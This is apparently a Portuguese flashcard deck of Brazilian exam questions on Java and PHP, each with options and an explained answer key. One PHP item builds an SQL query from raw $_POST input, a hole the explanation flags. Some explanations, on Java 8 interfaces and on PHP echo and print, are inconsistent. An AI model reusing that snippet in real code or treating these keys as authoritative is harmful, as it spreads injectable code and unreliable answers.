Portanto, a resposta correta é:

c) i=j-1; i >=0 && v[i]>x; − −i e v[i+1]=x

Gabarito: C

310
Q
  1. (FCC - TRF 3ª Região /2019) No interior do método main da classe principal de uma aplicação Java SE um método foi chamado usando as instruções abaixo.

double[] dados;
double [] d={1, 20, 7, 8};
dados = Aluno.cadastraDados(d);

O método cadastraDados na classe Aluno deve ter a declaração

a) public static double[] cadastraDados(double[] d)

b) public static double[] cadastraDados(double d)

c) public double[] cadastraDados(double[] d)

d) public final double[] cadastraDados(double d[])

e) public static double cadastraDados(double[] d)

A

Para responder a questão devemos ter em mente que é necessário fazer o método cadastraDados passar algo por parâmetro.

Para isso, devemos utilizar a alternativa A:

public static double[]
cadastraDados(double[] d)

Gabarito: Letra A

311
Q
  1. (FCC – SANASA – 2019) Na orientação a objetos uma classe abstrata é construída para ser um modelo para classes derivadas e na sua construção há algumas restrições.

Assim, considere a classe abstrata abaixo, criada na Linguagem Java.

public abstract class Calcula {
private static final double VALOR=10;
public abstract double soma(double n1, double n2);
public abstract void exibeResultado( );
protected abstract double soma(double n1, double n2, double n3);
private abstract int multiplica(double n1, int n2);
private double multiplica(double n1, double n2){return n1*n2;}
public Calcula( ) { }
}

A instrução que NÃO é permitida nessa classe é

a) private abstract int multiplica(double n1, int n2);

b) public abstract void exibeResultado( );

c) public Calcula( ) { }

d) private static final double VALOR=10;

e) private double multiplica(double n1, double n2){return n1*n2;}

A

Pessoal, analisando as alternativas, podemos observar na letra A a criação de um método “private abstract”.

Porém, em Java, não é permitido declarar um método como “private abstract”! daí já sabemos que a alternativa errada (gabarito da questão) é a letra A.

Já, a letra B está correta, veja é a declaração de um método abstrato sem implementação.

As demais alternativas também estão
plenamente corretas.

Gabarito: Letra A.

312
Q
  1. (FCC – TJ TRF3 – 2019) Em uma aplicação Java, um vetor n foi criado por meio da instrução
    double n=new double[3]; e alimentado com 3 valores reais.

Para exibir o conteúdo da segunda posição (índice) deste vetor utiliza-se a instrução

a) JOptionPane.showMessageDialog(null, n[2]);
b) System.out.println(n[1]);
c) JOptionPane.ShowMessageDialog(n[2]);
d) System.Out.Println(null, n[1]);
e) JOptionPane.showWindows(0, n[2]);

A

O comando para imprimir a segunda posição de um vetor de três posições deverá pegar a posição n[1] já que, em Java, o vetor inicia na posição 0.

Portanto ficamos apenas com as alternativas b e d.

A letra d apresenta um erro porque System.out.Println não possui o parâmetro null como é apresentado na questão.

Portanto nosso gabarito é a letra B.

Gabarito: Letra B

313
Q
  1. (FCC – AFAP – 2019) Considere a classe Java a seguir em condições ideais.

import java.sql.*;
public class ClienteDados {
public int conectar(){
Class.forName(“com.mysql.jdbc.Driver”);
Connection con = DriverManager.getConnection
(“jdbc:mysql://localhost:3306/banco”, “root”, “”);
Statement st = con.createStatement();
return 1;
}
}

No método conectar podem ser lançadas duas exceções que o Analista de Informática deseja
que sejam tratadas não no interior do método, mas sim por quem o chamar. Para que isso seja permitido, deve-se inserir o comando

a) try na linha abaixo da declaração do método e catch (DataBaseException,
SQLQueryException) abaixo do comando return 1.

b) throws ClassNotFoundException, SQLException na linha de declaração do método.

c) Exception ClassNotFoundException, SQLException na linha de declaração do método.

d) try na linha abaixo da declaração do método e catch (ClassNotFoundException,
SQLException) abaixo do comando return 1.

e) throws DataBaseException, SQLQueryException na linha de declaração do método.

A

Para permitir que exceções sejam tratadas fora do método conectar na classe ClienteDados, o método deve declarar as exceções que pode lançar. No caso apresentado, as exceções relevantes são ClassNotFoundException e SQLException.

Análise das opções

a) try na linha abaixo da declaração do método e catch (DataBaseException, SQLQueryException) abaixo do comando return 1.
- Incorreta: Usar try e catch dentro do método não atende ao requisito de lançar as exceções para serem tratadas fora dele.

b) throws ClassNotFoundException, SQLException na linha de declaração do método.
- Correta: Essa é a forma correta de indicar que o método pode lançar essas exceções, permitindo que quem chamar o método trate essas exceções.

c) Exception ClassNotFoundException, SQLException na linha de declaração do método.
- Incorreta: Essa sintaxe é inválida em Java. Não se pode declarar exceções desta forma.

d) try na linha abaixo da declaração do método e catch (ClassNotFoundException, SQLException) abaixo do comando return 1.
- Incorreta: Novamente, usar try e catch dentro do método não atende ao requisito de lançar as exceções.

e) throws DataBaseException, SQLQueryException na linha de declaração do método.
- Incorreta: DataBaseException e SQLQueryException não são exceções padrão da biblioteca Java. As exceções corretas são ClassNotFoundException e SQLException.

Conclusão
A opção correta para permitir que as exceções sejam tratadas fora do método conectar é:

b) throws ClassNotFoundException, SQLException na linha de declaração do método.

Gabarito: B

314
Q
  1. (FCC / TRF3 – 2019) Uma classe Colaborador de uma aplicação Java tem o método abaixo.

public void setNome(String nome) {
this.nome = nome;
}

Para instanciar um objeto dessa classe e armazenar o nome “Pedro” no atributo nome utiliza-se

a) Colaborador.setNome(“Pedro”);

b) Colaborador c -> new Colaborador(); c->Nome=”Pedro”;

c) Colaborador c = new Colaborador(c.setNome(“Pedro”));

d) Colaborador c = new Colaborador(); c.setNome(“Pedro”);

e) Colaborador c = new Colaborador().setNome(“Pedro”);

A

A alternativa correta para instanciar um objeto da classe Colaborador e armazenar o nome “Pedro” no atributo nome é:

d) Colaborador c = new Colaborador(); c.setNome("Pedro");

Resumo das alternativas:
- a) Incorreto — Método de instância não pode ser chamado diretamente na classe.
- b) Incorreto — Sintaxe errada e acesso direto a atributo privado.
- c) Incorreto — setNome não retorna um objeto.
- e) Incorreto — setNome não retorna a instância.

A única alternativa correta é a d.

Gabarito: D

315
Q
  1. (FCC / SABESP – 2018) As interfaces são usadas nas aplicações Java quando se deseja permitir que diversas classes implementem determinados métodos, mesmo que de formas diferentes.

Em uma interface Java

a) os métodos não podem ter os modificadores protected ou private.

b) não pode haver assinaturas de métodos cujo tipo de retorno seja void.

c) pode haver múltiplos construtores, desde que recebam parâmetros diferentes.

d) não pode haver dois ou mais métodos com o mesmo nome, mesmo que recebam
parâmetros diferentes.

e) todo método deverá ser implementado por uma das subclasses da aplicação pelo menos
uma vez

A

A alternativa correta sobre as interfaces em Java é:

a) os métodos não podem ter os modificadores protected ou private.

Justificativas para as outras alternativas:
- b) Incorreto — Em uma interface, pode haver métodos com retorno do tipo void.
- c) Incorreto — Interfaces não têm construtores, pois não podem ser instanciadas.
- d) Incorreto — Em uma interface, pode haver métodos com o mesmo nome, desde que tenham parâmetros diferentes (sobrecarga).
- e) Incorreto — Um método em uma interface deve ser implementado pelas classes que a implementam, mas não necessariamente por todas as subclasses; se uma subclasse não implementar o método, ela deve ser declarada como abstrata.

Portanto, a alternativa a é a única correta.

Gabarito: A

316
Q
  1. (FCC – TRF 3ª Região – 2014) Herança e interfaces são conceitos da orientação a objetos que possibilitam a obtenção de polimorfismo.

Em Java, uma interface pode

a) herdar de mais de uma interface.

b) ser instanciada diretamente por meio da instrução new.

c) possuir apenas assinaturas de métodos públicos e protegidos.

d) possuir métodos abstratos e estáticos.

e) conter declarações de constantes e de variáveis não inicializadas.

A

A alternativa correta sobre o que uma interface pode fazer em Java é:

a) herdar de mais de uma interface.

Justificativas para as outras alternativas:
- b) Incorreto — Interfaces não podem ser instanciadas diretamente. Elas precisam ser implementadas por classes.

  • c) Incorreto — Uma interface pode possuir apenas assinaturas de métodos públicos, pois todos os métodos em uma interface são implicitamente públicos (não podem ser protegidos ou privados).
  • d) Incorreto — Interfaces podem ter apenas métodos abstratos (a partir do Java 8, métodos default e estáticos são permitidos, mas a afirmação não é completamente correta).
  • e) Incorreto — Interfaces podem conter declarações de constantes (variáveis static final), mas não podem ter variáveis não inicializadas.

Portanto, a alternativa a é a única correta.

Gabarito: A

317
Q
  1. (FCC – TRE-RN – 2011) Em relação ao Java Standard Edition, é INCORRETO afirmar:

a) Possui gerenciamento de memória embutido, por meio do coletor de lixo.

b) Ambiente indicado para o desenvolvimento de aplicativos para dispositivos móveis ou
portáteis.

c) Permite o desenvolvimento de aplicações desktop de linha de comando e interfaces gráficas Swing.

d) Portabilidade dos programas compilados para diversos sistemas operacionais, sem
necessidade de recompilação.

e) Usa conceitos tais como orientação a objetos e multithreading.

A

A alternativa INCORRETA sobre o Java Standard Edition (Java SE) é:

b) Ambiente indicado para o desenvolvimento de aplicativos para dispositivos móveis ou portáteis.

Justificativas para as outras alternativas:

  • a) Correto — Java SE possui gerenciamento de memória embutido por meio do coletor de lixo.
  • c) Correto — Permite o desenvolvimento de aplicações desktop, tanto de linha de comando quanto com interfaces gráficas usando Swing.
  • d) Correto — A portabilidade dos programas compilados é uma das principais características do Java, permitindo que sejam executados em diversos sistemas operacionais sem necessidade de recompilação.
  • e) Correto — Java utiliza conceitos de orientação a objetos e multithreading.

Assim, a alternativa b é a única que não se aplica ao Java SE, pois ele não é especificamente voltado para o desenvolvimento de aplicativos móveis, que é mais associado ao Java Micro Edition (Java ME).

Gabarito: B

318
Q
  1. (FCC – TRT 22ª Região – 2010) A plataforma Java disponibiliza um interpretador que traduz,
    em tempo de execução, o bytecode para instruções nativas do processador, permitindo, dessa forma, que uma mesma aplicação seja executada em qualquer plataforma computacional que possua essa implementação.

Trata-se de:

a) Java Virtual Machine.
b) Java API.
c) JavaBeans.
d) J2SE.
e) JavaFX.

A

O bytecode é um código intermediário, que é posteriormente interpretado e executado por uma Java Virtual Machine (JVM).

Gabarito: Letra A

319
Q
  1. (FCC – Sergipe Gás– 2010) É tida como uma das principais linguagens de programação
    orientada a objeto; tem como característica a compilação para um bytecode e execução por
    uma máquina virtual.

Trata-se da linguagem:

a) Algol.
b) Delphi.
c) C++.
d) Java.
e) PHP.

A

Java é também uma linguagem portável e multiplataforma!

O Compilador é capaz de gerar um código intermediário (bytecode), que permite que o mesmo programa possa ser executado em
qualquer máquina ou sistema operacional que possua uma JVM.

Ademais, busca que todos os aspectos da linguagem sejam independentes de plataforma (Ex: ela especifica o tamanho e comportamento de cada tipo de dado).

Conforme vimos em aula, trata-se da linguagem Java.

Gabarito: Letra D

320
Q
  1. (FCC – TCE-SP – 2010) Os aplicativos Java “rodam” em diferentes ambientes. A tradução dos códigos Java (bytecode), para instruções específicas de cada sistema e dispositivo, é uma função do programa:

a) Java Community Process (JCP).
b) Java Virtual Module (JVM).
c) Java Virtual Machine (JVM).
d) Java Comunication Process (JCP).
e) Java Enterprise Machine (JEM).

A

O bytecode é um código intermediário, que é posteriormente interpretado e executado por uma Java Virtual Machine (JVM).

Gabarito: Letra C

321
Q
  1. (UFMA – UFMA – 2019) Duas características importantes e relacionadas entre si, presentes em Java por ser uma linguagem orientada a objetos, são a herança e o polimorfismo.

Considere as afirmativas I e II a seguir e depois marque a alternativa correta.

I. Herança múltipla é um recurso existente em Java para permitir que uma classe possa herdar
atributos e métodos de mais de uma classe.

II. Polimorfismo em Java é a capacidade de duas ou mais classes derivadas de uma mesma
superclasse possuírem a mesma assinatura de um método, porém com comportamento
diferente.

a) Apenas a afirmativa II está correta.

b) Ambas as afirmativas I e II estão corretas.

c) Ambas as afirmativas I e II estão erradas.

d) Apenas a afirmativa I está correta.

e) A correção ou não das afirmativas I e II depende de qual versão de Java se está levando em consideração.

A

Pessoal, é necessário saber os conceitos de herança e polimorfismo.

Primeiramente, devemos ter em mente que não existe Herança múltipla em Java.

Daí a assertiva I está incorreta.

Vejamos o que diz a assertiva II: Polimorfismo em Java é a capacidade de duas ou mais classes derivadas de uma mesma superclasse possuírem a mesma assinatura de um método, porém com
comportamento diferente.

Está perfeita a definição.

Gabarito: Letra A

322
Q
  1. (FUNDEP – Prefeitura de Lagoa Santa– 2019) Qual é a forma correta de se criar uma classe que não poderá ser instanciada, mas ainda poderá ser reutilizada?

a) public abstract class NomeDaClasse
b public abstract NomeDaClasse
c) public class NomeDaClasse
d) public class private NomeDaClasse

A

Pessoal, para criar uma classe que não poderá ser instanciada, mas ainda poderá ser reutilizada devemos utilizar public abstract class NomeDaClasse.

Porque a classe abstrata é sempre uma
superclasse que não possui instâncias.

Gabarito: Letra A

323
Q
  1. (UFRN – UFRN – 2019) Na programação orientada a objetos, o polimorfismo é a habilidade de objetos de classes diferentes responderem à mesma mensagem de maneiras diferentes. Um tipo de polimorfismo é

a) polimorfismo de sobrecarga.
b) polimorfismo de instanciação.
c) polimorfismo de abstração.
d) polimorfismo de classificação.

A

A resposta correta é a letra a) polimorfismo de sobrecarga.

O polimorfismo na programação orientada a objetos pode ser classificado em dois tipos principais: polimorfismo de sobrecarga (ou ad-hoc) e polimorfismo de subtipo (ou de inclusão).

No caso da sobrecarga, o polimorfismo ocorre quando diferentes funções ou métodos com o mesmo nome podem ser chamados com diferentes tipos ou números de parâmetros, respondendo de maneira distinta conforme a assinatura.

Gabarito: Letra A

324
Q
  1. (IADES – Hemocentro – DF– 2017) Considerando que Luta e Jogo são classes, e que Esporte, Individual e Coletivo são interfaces, com relação aos conceitos de classes e interfaces da linguagem Java, assinale a alternativa correta.

a) interface Futebol implements Esporte, Jogo{}.
b) interface Futebol extends Esporte,Coletivo{}
c) interface Futebol implements Esporte{}
d) class Judo extends Esporte, Individual{}
e) interface Karate extends Luta{}

A

A alternativa correta é a letra b) interface Futebol extends Esporte, Coletivo{}.

No Java, uma interface pode estender (extends) outras interfaces, mas não pode implementar (implements) outra interface.

A palavra-chave extends é utilizada para herdar de interfaces, enquanto implements é usada por classes que implementam interfaces.

Além disso, uma classe não pode estender (extends) uma interface, como apresentado na letra “d”.

Gabarito: Letra B

325
Q
  1. (ESAF – Receita Federal – 2012) Em programação Java, o comando while:

a) executa um bloco exclusivamente de comandos de atribuição.

b) executa um bloco de comandos enquanto sua condição for verdadeira.

c) executa um bloco de comandos até que sua condição seja verdadeira.

d) equivale ao comando what-if.

e) é idêntico ao comando do while.

A

(a) Na verdade, podem ter outros comandos – não é só atribuição;

(b) Perfeito, enquanto for verdadeira, continua a iteração;

(c) Não, enquanto ela for verdadeira;

(d) Não, esse comando não existe;

(e) Não, esse comando entra no bloco e só depois avalia a condição.

Gabarito: Letra B

326
Q
  1. (CESGRANRIO – Banco do Brasil – 2023) Um programador foi instruído pelo seu gerente a
    implementar, em Java, uma classe MemoriaCalculoVenda que implementasse a interface MemoriaCalculo, já criada pela organização e que representa as exigências da organização para classes que implementam memórias de cálculo.

Nesse cenário, com que fragmento de código o programador deve começar, de forma correta, a implementação da classe?

a) class MemoriaCalculoVenda extends MemoriaCalculo

b) class MemoriaCalculoVenda implements MemoriaCalculo

c) class MemoriaCalculoVenda imports MemoriaCalculo

d) class MemoriaCalculoVenda inherits MemoriaCalculo

e) class MemoriaCalculoVenda uses MemoriaCalculo

A

A resposta correta é a letra b) class MemoriaCalculoVenda implements MemoriaCalculo.

No Java, uma classe usa a palavra-chave implements para declarar que está implementando uma interface.

Nesse caso, como a interface MemoriaCalculo já foi criada pela organização e a classe MemoriaCalculoVenda deve implementar essa interface, a sintaxe correta é utilizar implements para indicar essa relação entre a classe e a interface.

A palavra extends seria usada apenas no caso de herança entre classes, não entre uma classe e uma interface.

Gabarito: B

327
Q
  1. (CESGRANRIO - BASA - 2018) A linguagem de programação Java suporta

a) passagem de parâmetros de tipos primitivos por referência

b) sobrecarga de operadores

c) herança múltipla

d) polimorfismo

e) ponteiros

A

A resposta correta é a letra d) polimorfismo.

A linguagem Java suporta polimorfismo, que é a capacidade de uma classe utilizar métodos de uma superclasse ou interface de maneira que comportamentos diferentes possam ser implementados, dependendo do tipo real do objeto.

Analisando as outras alternativas:

  • a) passagem de parâmetros de tipos primitivos por referência: Java utiliza passagem por valor para tipos primitivos, não por referência.
  • b) sobrecarga de operadores: Java não suporta sobrecarga de operadores (diferente de linguagens como C++).
  • c) herança múltipla: Java não permite herança múltipla de classes, mas permite herança múltipla através de interfaces.
  • e) ponteiros: Java não utiliza ponteiros diretamente, ao contrário de linguagens como C/C++.

Portanto, a característica correta que Java suporta é polimorfismo.

Gabarito: D

328
Q
  1. (CEBRASPE / CAU BR- 2024) Com respeito à linguagem de programação PHP, julgue o item a seguir.

Para se declarar variáveis em PHP, é utilizado cifrão ($) seguido pelo nome da variável; os
nomes das variáveis são case-sensitive.

A

O item está correto.

Em PHP, as variáveis são declaradas com o símbolo $ seguido pelo nome da variável, como em $minhaVariavel.

Além disso, os nomes das variáveis são case-sensitive, ou seja, $variavel e $Variavel são tratados como variáveis diferentes.

Gabarito: Correto

329
Q
  1. (CEBRASPE / CAU BR- 2024) Com respeito à linguagem de programação PHP, julgue o item a seguir.

A função echo é capaz de mostrar somente uma string, enquanto a função print pode mostrar uma ou várias strings.

A

O item está errado.

No PHP, tanto a função echo quanto a função print podem ser usadas para exibir uma ou mais strings.

A diferença é que echo pode exibir múltiplas strings separadas por vírgulas (por exemplo, echo "string1", "string2";), enquanto print só pode exibir uma única string por vez.

Além disso, echo não retorna valor, enquanto print retorna o valor 1, permitindo que seja usado em expressões.

Gabarito: Errado

330
Q
  1. (CEBRASPE / TJ TST- 2024)

<?php
$ x = function($ a) {
return $ a ** 2;
};$
y = range(3, 5);
$ y = array_map($ x, $ y);
print implode(‘ ‘, $ y);
?>

Com base no código precedente, desenvolvido em PHP, assinale a opção que corresponde ao
resultado a ser apresentado ao final da execução desse código.

a) 4
b) 8
c) 3 4 5
d) 6 8 10
e) 9 16 25

A

A resposta correta é a letra e) 9 16 25.

Analisemos o código passo a passo:

  1. Função anônima: A variável $x é atribuída a uma função anônima que recebe um parâmetro $a e retorna o quadrado de $a ($a ** 2).
  2. Criação do array: A função range(3, 5) cria um array contendo os valores [3, 4, 5].
  3. Aplicação de array_map: A função array_map aplica a função $x a cada elemento do array [3, 4, 5], resultando em [9, 16, 25] (ou seja, o quadrado de cada elemento).
  4. Impressão dos resultados: A função implode(' ', $y) junta os elementos do array resultante ([9, 16, 25]) em uma string separada por espaços, que é então impressa.

Portanto, o resultado final impresso será “9 16 25”.

Gabarito: E

331
Q
  1. (CEBRASPE / FINEP- 2024) No desenvolvimento de um sítio dinâmico em PHP com páginas diferentes, cada uma com seu próprio conteúdo exclusivo, para manter o código organizado e reutilizável, deve-se separar o código de cada página em arquivos individuais.

Nesse contexto, assinale a opção em que é indicada a função que deve ser usada para incluir o conteúdo de um arquivo externo em um script PHP de modo a inserir o código de cada página.

a) readExternal( )
b) import( )
c) readFile( )
d) include( )
e) loadFile( )

A

A resposta correta é a letra d) include( ).

Em PHP, a função include() é usada para incluir o conteúdo de um arquivo externo em um script.

Se o arquivo especificado não puder ser encontrado, um aviso será gerado, mas a execução do script continuará.

Além disso, existe a função require(), que é semelhante, mas gera um erro fatal e interrompe a execução do script se o arquivo não for encontrado.

As outras opções listadas (readExternal(), import(), readFile(), loadFile()) não são funções válidas em PHP para incluir arquivos.

Gabarito: D

332
Q
  1. (CEBRASPE / MPE RO- 2023)

<?php
$servername = “srv01”;
$username = “app”;
$password = “senha”;
$dbname = “cadastro”;

$nomeCompleto = $_POST[‘nome_completo’];

$conn = new mysqli($servername, $username, $password, $dbname);

if ($conn->connect_error) {
die(“erro “ . $conn->connect_error);
}

$sql = “INSERT INTO tabela_nomes (nome) VALUES (‘$nomeCompleto’)”;

if ($conn->select($sql) === TRUE) {
echo “Nome gravado com sucesso.”;
} else {
echo “Erro ao gravar o nome: “ . $conn-> error;
}

$conn->quit();

?>

Tendo como base o código fonte precedente, assinale a opção correta.

a) A função select($sql) executa uma consulta ao banco de dados.

b) Ao receber o nomeCompleto, a execução do código não é capaz de inserir os dados
informados no banco de dados.

c) A função quit() permite encerrar a conexão com o banco de dados.

d) A string de conexão com o banco de dados conecta a um banco de dados PostgreSQL.

e) $conn representa os parâmetros de conexão com o banco de dados.

A

Pessoal, vamos analisar cada item.

a) Incorreta. A função select($sql) não é uma função padrão do objeto $conn no PHP. Para executar uma consulta SQL, normalmente se usa $conn->query($sql) no caso de MySQLi.

b) Incorreta. O código é capaz de inserir os dados informados no banco de dados. No entanto, não é recomendável concatenar diretamente variáveis em uma consulta SQL devido a preocupações de segurança (como injeção de SQL). É preferível usar prepared statements.

c) Incorreta. A função correta para encerrar a conexão com o banco de dados no MySQLi é
$conn->close(), não quit().

d) Incorreta. A string de conexão indica um banco de dados MySQL, não PostgreSQL.

e) Correta. $conn representa o objeto de conexão com o banco de dados, não os parâmetros de conexão.

Gabarito: Letra E

333
Q
  1. (CEBRASPE / PGE RJ- 2022) Julgue o item que se segue, relacionado a desenvolvimento de
    sistemas.

Em PHP 7.0, o acesso indireto de variáveis e métodos é avaliado estritamente da esquerda
para a direita.

A

Resumo sobre o acesso indireto de variáveis e métodos em PHP:

  • Em PHP, o acesso indireto a variáveis e métodos é feito usando o operador $ seguido do nome da variável ou método.
  • A avaliação ocorre da esquerda para a direita.
  • Isso significa que, ao acessar variáveis e métodos de objetos ou arrays, PHP processa a expressão começando pela parte mais à esquerda e movendo-se para a direita.

Conclusão: A afirmação de que, em PHP 7.0, o acesso indireto de variáveis e métodos é avaliado estritamente da esquerda para a direita é correta.

Gabarito: Correto

334
Q
  1. (CEBRASPE / DP DF- 2022) Acerca do framework Zend, de JPA, do desenvolvimento para dispositivos móveis e de PHP, julgue o item seguinte.

Para implementar callbacks em PHP, podem ser utilizadas as funções variáveis que são
suportadas pelo PHP.

A

O item está correto.

Em PHP, callbacks podem ser implementados utilizando funções variáveis, que são suportadas pela linguagem. Isso significa que você pode passar o nome de uma função como uma variável, e essa função pode ser chamada posteriormente em outro contexto.

Exemplo de uso de callback com funções variáveis:

```php
function minhaFuncao($callback) {
// Chama a função passada como callback
$callback();
}

function funcaoCallback() {
echo “Esta é uma função de callback!”;
}

// Passa o nome da função como string
minhaFuncao(‘funcaoCallback’);
~~~

Neste exemplo, a função funcaoCallback é passada como um callback para minhaFuncao, que a invoca. Essa capacidade de usar funções variáveis para callbacks é uma característica útil do PHP, permitindo implementar comportamentos flexíveis e reutilizáveis.

Portanto, a afirmação de que “para implementar callbacks em PHP, podem ser utilizadas as funções variáveis que são suportadas pelo PHP” é correta.

Gabarito: Correto

335
Q
  1. (CEBRASPE / MCom- 2022)

<?php
$nome = $_GET[‘user’] ?? $_POST[‘user’] ??
‘Maria’;
?>

Com base no trecho de código precedente, desenvolvido em PHP 7, julgue o item seguinte.

Os operadores ?? farão retornar o primeiro valor definido entre $_GET[‘user’], _POST[‘user’]
e ‘Maria’, ou seja, caso os dois primeiros operandos não existam ou sejam nulos, $nome
receberá o valor Maria.

A

O item está correto.

No trecho de código apresentado, o operador de coalescência nula (??) é utilizado para atribuir um valor à variável $nome. O comportamento do operador é o seguinte:

  • Ele verifica cada operando da esquerda para a direita.
  • Retorna o primeiro valor que não seja null ou que esteja definido.

Portanto, o código:

```php
$nome = $_GET[‘user’] ?? $_POST[‘user’] ?? ‘Maria’;
~~~

significa que:
- Se $_GET['user'] estiver definido e não for null, $nome receberá esse valor.
- Se $_GET['user'] não estiver definido ou for null, o PHP verificará $_POST['user']. Se $_POST['user'] estiver definido e não for null, $nome receberá esse valor.
- Se ambos $_GET['user'] e $_POST['user'] não estiverem definidos ou forem null, $nome receberá o valor 'Maria'.

Assim, a afirmação de que o operador ?? fará retornar o primeiro valor definido entre $_GET['user'], $_POST['user'] e 'Maria' está correta. Se os dois primeiros operandos não existirem ou forem nulos, $nome realmente receberá o valor 'Maria'.

Gabarito: Correto

336
Q
  1. (CEBRASPE / TJ RJ- 2021) Assinale a opção que apresenta a variável superglobal do PHP que contém um array associativo com variáveis passadas para o script atual via método do ambiente.

a) $_ENV
b) $_VARIABLE
c) $_REQUEST
d) $_SCRIPT
e) $_SESSION

A

A variável superglobal do PHP que contém um array associativo com variáveis passadas para o script atual via método do ambiente é a $_ENV.

Esta variável contém informações do ambiente do sistema, como variáveis de ambiente definidas no servidor.

As outras opções não representam essa funcionalidade específica:

a) Correto - $_ENV representa as variáveis de ambiente do sistema.

b) Incorreto - $_VARIABLE não é uma variável superglobal do PHP.

c) Incorreto - $_REQUEST contém variáveis passadas para o script via métodos GET, POST e COOKIE.

d) Incorreto - $_SCRIPT não é uma variável superglobal do PHP.

e) Incorreto - $_SESSION contém variáveis de sessão do usuário.
Portanto, a opção correta é a letra a) $_ENV.

Gabarito: Letra A

337
Q
  1. (CEBRASPE / PGDF- 2021) No que se refere a linguagens de programação, julgue o item subsequente.

PHP é uma linguagem de script projetada para desenvolvimento web, mas que também pode ser usada para programação de uso geral.

A

A afirmativa está correta.

O PHP (Hypertext Preprocessor) é uma linguagem de script amplamente utilizada, especialmente no desenvolvimento web. Originalmente, o PHP foi criado para gerar páginas dinâmicas na web, mas ele evoluiu ao longo do tempo e também pode ser utilizado para programação de uso geral.

Embora seja mais conhecido por sua aplicação no lado do servidor (backend) para criar sites dinâmicos, PHP pode ser usado em outros contextos, como:

  • Scripts de automação.
  • Desenvolvimento de aplicações de linha de comando (CLI).
  • Aplicações de desktop, embora essa não seja sua principal aplicação.

Portanto, é correto afirmar que o PHP foi projetado para desenvolvimento web, mas também pode ser usado para programação de uso geral.

Gabarito: Correto

338
Q
  1. (CEBRASPE / MPE AP- 2021) No desenvolvimento de um sistema em PHP, o desenvolvedor precisa validar se o endereço bob@mpap.mp.br é ou não um email válido.

A partir dessa situação hipotética, assinale a opção em que o código apresentado é o correto para o desenvolvedor realizar a referida validação, tendo como referência que a variável a ser testada é $email.

a) <?php
if (!filter_var($email, FILTER_VALIDATE_EMAIL))
{ echo “Invalid email format”;}
else
{ echo “Valid email format”;}
?>

b) <?php
if (!preg_match(“/^[a-zA-Z-‘ ]*$ @./”, $email))
{ echo “Invalid email format”;}
else
{ echo “Valid email format”;}
?>

c) <?php
if (emailspecialchars($email))
{ echo “Valid email format”;}
else
{ echo “Invalid email format”;}
?>

d) <?php
if (ctype_alnum ($email))
{ echo “Valid email format”;}
else
{ echo “Invalid email format”;}
?>

e) <?php
if (strncasecmp ($email, “/^[a-zA-Z-‘ ]*$ @./”))
{ echo “Valid email format”;}
else
{ echo “Invalid email format”;}

A

A opção correta para validar se o endereço de email é válido em PHP, usando a variável $email, é a letra a.

A função filter_var com o filtro FILTER_VALIDATE_EMAIL é a maneira correta de validar endereços de email em PHP. Essa função verifica se a string fornecida segue o formato de um email válido.

O código da alternativa correta é:

```php
<?php
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
echo “Invalid email format”;
} else {
echo “Valid email format”;
}
?>
~~~

Explicação:
- filter_var: Função usada para filtrar e validar dados.
- FILTER_VALIDATE_EMAIL: Um filtro específico para validar endereços de email.

As demais opções contêm erros, como o uso inadequado de expressões regulares ou funções que não se aplicam à validação de emails.

Gabarito: A

339
Q
  1. (CEBRASPE / ProTI - ME- 2020) Considerando as linguagens de programação Java (versão 8 ou superior) e PHP (versão 7 ou superior), julgue o próximo item.

O resultado obtido com a execução do seguinte código PHP é Paulo.

<?php
class Teste
{
public $c;
function _construct($c)
{
$this->c = $c;
}
}
$d = new Teste(“Pedro e Maria”);
$e = $d;
$e->c = “Paulo”;
echo $d->c;
?>

A

O código PHP da questão cria uma classe chamada Teste com uma propriedade pública $c e um método construtor __construct() para inicializar essa propriedade.

O código cria uma instância da classe Teste chamada $d com o valor “Pedro e Maria” atribuído à propriedade $c.

Em seguida, a variável $e é atribuída à instância $d. Portanto, $e e $d
referenciam o mesmo objeto.

Quando $e->c é atualizado para “Paulo”, isso afeta diretamente o
objeto ao qual $d se refere, pois $e e $d referenciam o mesmo objeto.

Portanto, ao imprimir $d->c, o resultado será “Paulo”. Portanto, o item está correto.

Gabarito: Correto

340
Q
  1. (CEBRASPE / TJ PA- 2020) Uma página PHP está sendo executada em um servidor Apache e necessita buscar informações em um banco de dados, como, por exemplo, o MySQL Server.
    Para isso, ao se habilitar o PHP no servidor, foi configurado o módulo de suporte do PHP para buscar dados no MySQL Server.

Nessa situação hipotética, caso se deseje verificar se esse módulo está instalado, será correto o uso da função

a) php_db().
b) phpcheck().
c) phpinfo().
d) php_mysql().
e) phpmodules().

A

Para verificar se o módulo de suporte do PHP para MySQL está instalado e habilitado no servidor, pode-se utilizar a função phpinfo().

Essa função exibe informações detalhadas sobre a configuração do PHP, incluindo os módulos carregados.

Ao chamar phpinfo(), será exibida uma página com todas as informações relevantes sobre a instalação do PHP, incluindo os módulos disponíveis e habilitados, como o módulo do MySQL.

Portanto, ao visualizar a saída de phpinfo(), é possível verificar se o módulo do MySQL está presente e disponível para uso no PHP.

As demais opções estão incorretas:

a) php_db() - Não é uma função padrão do PHP.
b) phpcheck() - Não é uma função padrão do PHP.
d) php_mysql() - Não é uma função padrão do PHP.
e) phpmodules() - Não é uma função padrão do PHP.

Gabarito: Letra C

341
Q
  1. (CEBRASPE / ProTI - ME- 2020) Considerando as linguagens de programação Java (versão 8 ou superior) e PHP (versão 7 ou superior), julgue o próximo item.

O resultado obtido com a execução do seguinte código PHP é 24.

<?php
echo ( function($x) { return [$x, $x+2, $x+4,
$x*6]; } ) (4) [3];
? >

A

O código PHP fornecido define uma função anônima que recebe um argumento $x e retorna um array contendo quatro elementos: $x, $x+2, $x+4 e $x*6.

Em seguida, a função é imediatamente invocada com o argumento 4 ((4)), o que resulta na criação do array [4, 6, 8, 24].

Finalmente, é acessado o elemento de índice 3 desse array, que corresponde a 24.

Portanto, ao ser executado, o código exibirá 24 como resultado.

Portanto, o item está correto.

Gabarito: Correto

342
Q
  1. (CEBRASPE / TJ AM- 2019) No que se refere à linguagem PHP, julgue o item subsecutivo.

A função current ( ) retorna o valor armazenado onde o ponteiro atual aponta.

A

A função current() em PHP retorna o valor do elemento atual em um array.

Ela não move o ponteiro interno do array. Portanto, current() retorna o valor armazenado onde o ponteiro atual aponta, mas não altera a posição do ponteiro.

Essa função é frequentemente usada em conjunto com outras funções de iteração de arrays, como foreach(), para obter o valor do elemento atual durante o loop.

Portanto, o item está correto.

Gabarito: Correto

343
Q
  1. (CEBRASPE / TJ AM- 2019) No que se refere à linguagem PHP, julgue o item subsecutivo.

